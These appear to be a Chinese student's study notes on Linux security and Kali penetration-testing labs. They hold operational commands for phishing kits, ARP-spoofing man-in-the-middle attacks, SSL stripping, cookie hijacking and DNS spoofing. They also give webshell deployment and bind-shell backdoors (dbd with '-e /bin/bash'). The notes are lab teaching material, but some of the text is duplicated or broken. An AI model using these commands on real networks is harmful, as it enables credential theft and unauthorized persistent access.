一、教材内容学习
1 Linux操作系统发展与现状
1)Linux的优势
开放源代码与免费
跨平台的硬件支持
丰富的软件支持
多用户多任务
可靠的安全性
良好的稳定性
完善的网络功能
2)** Linux系统结构**
Linux系统结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。
2 Linux操作系统安全机制
1)Linux身份认证机制
- Linux用户(root根用户、普通用户、系统用户)
- linux用户组
- Linux的本地登陆用户认证机制
- Linux的远程登陆用户认证机制
- Linux的统一身份认证中间件-PAM
2) Linux授权与访问控制机制
- 文件所有者
- 文件的访问权限
R---读取 W---写入 X---执行
- 文件的特殊执行权限
- Linux访问机制的不足及改进
- Linux安全审计机制
连接时间日志
进程控制日志
错误日志记录
3 Linux系统远程攻防技术
远程网络上侵入Linux系统的主要方法
口令进行猜测攻击
安全漏洞利用
安装和执行恶意程序
- Linux远程口令字猜测攻击
口令猜测工具: Brutus:最快、最灵活的远程口令猜测破解工具 THC Hydra:快速的网络身份认证口令猜测工具 Cain and Abel
- Linux网络服务远程渗透攻击
- 攻击Linux客户端程序和用户
- 攻击Linux路由器和监听器
4 Linux系统本地安全攻防技术
1)Linux本地特权提升
特权提升途径:
linux用户口令字破解
利用sudo的缺陷进行特权提升
利用用户态SUID程序漏洞进行特权提升
针对SUID程序的本地缓冲区溢出攻击
针对SUID程序的符号链接攻击
针对SUID程序的竞争条件攻击
针对SUID程序的共享函数库攻击
利用内核空间代码漏洞进行特权提升
利用系统配置不当实施本地特权提升
- Linux系统上的消踪灭迹
- Linux系统远程控制后门程序
kali视频学习
Kali漏洞利用之SET
Social Enginnering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学套件,通常结合metasploit来使用。
问题:没有此软件,输入命令setoolkit显示未找到命令
解决:1)使用命令git clone https://github.com/trustedsec/social-engineer-toolkit/
进行下载
2)命令ls
3)进入social-engineer-toolkit ,命令为cd social-engineer-toolkit
根据readme 进行操作,依次输入下面的命令
使用命令setoolkit
进入
菜单选项
1 是社会工程学攻击
2 是Fast-Track渗透测试
3 是第三方模块
输入1回车
出现11个模块
1.鱼叉式钓鱼攻击
2.网站攻击
3.介质感染攻击
4.创建Payload并监听
5.群发邮件攻击
6.基于Arduino的攻击
7.短信欺骗攻击
8.无线接入点攻击
9.二维码攻击
10.powershell攻击
11.第三方模块
鱼叉式钓鱼攻击
继续上面的步骤,输入1回车
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件,相应的payload可以选择不同的漏洞,输入2 回车
网站攻击框架
此时开放一个webServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。
同时提供一个功能可以复制一个网站,先输入1回车,再输入2 回车
介质感染攻击
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门
创建Payload和监听器
与Metasploit给出的Payload类似,创建一个后门发给对方
群发邮件攻击
输入5回车,支持导入列表并向列表中的每个人发送邮件
继续选择8 无线接入点攻击
无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。
二维码攻击
填入一个危险的URL,使得被攻击者扫描二维码自动访问页面而中招
powershell攻击
针对vista以上的攻击模块。
第三方模块
Fast-Track攻击模块
Kali嗅探欺骗与中间人攻击
(1) 为Kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
修改为1
(2)设置ssltrip
为了劫持SSL数据,需要https数据变为http:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
让sslstrip在8081端口监听,需要使https数据变为http,让sslrtrip在8081端口监:
sslstrip -l 8081
(3)ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
然后使用ettercap中间人攻击工具,使用前我们修改一下配置文件:
配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0
将下面Linux分类下的if you use iptables这一行,将注释去掉,保存退出
将注释去掉打开图形界面时说出错,不注释掉就可以打开
打开图形化界面 ettercap -G,选择嗅探网卡 默认eth0
在sniff下选择unified sniffing,默认使用eth0嗅探网卡
在host下选择scan for hosts扫描内网信息
完毕后打开host list
将网关add to target 1 ,想攻击的目标add to target 2,mitm选项卡ARPpoisoning
然后start sniffing
- Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集; - 会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。 - 图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。 - DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。 - URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]] - 下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [6)会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。
Kali权限维持之后门
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
WEB后门
(1)Weevely
Weevely是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。
后门上传到web,使用weevely连接
打开Metasploitable2
nano 1.php 复制生成文件内容到其中
weevely http://192.168.199.198/1.php
如何将生成文件复制到其中
(2)WeBaCoo
(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。
生成一个webshell:
上传到网站后,使用webacoo连接:
webacoo -t -u http://192.168.199.198/2.php
通过加入:执行本地命令,不加则借助webshell执行命令。
上传到网站依然没有做出来
(3)Cymothoa系统后门
cymothoa -p 10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell
(4)dbd为加强版 理解为加密版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password
(5)sbd和dbd用法相同
(6)U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。
(7)Intersect
网络攻防环境搭建
本次实验Linux操作系统的攻击机:Kali,靶机:Metasploitable;Windows操作系统的攻击机:WinXPattacker,靶机:WinXPprofessional。
kali的IP
Metasploitable的IP
WinXPattacker的IP
WinXPprofessional的IP
1.Linux攻击机ping Linux靶机
2.Linux攻击机ping windows靶机
3.windows攻击机ping windows靶机
4.windows攻击机ping Linux靶机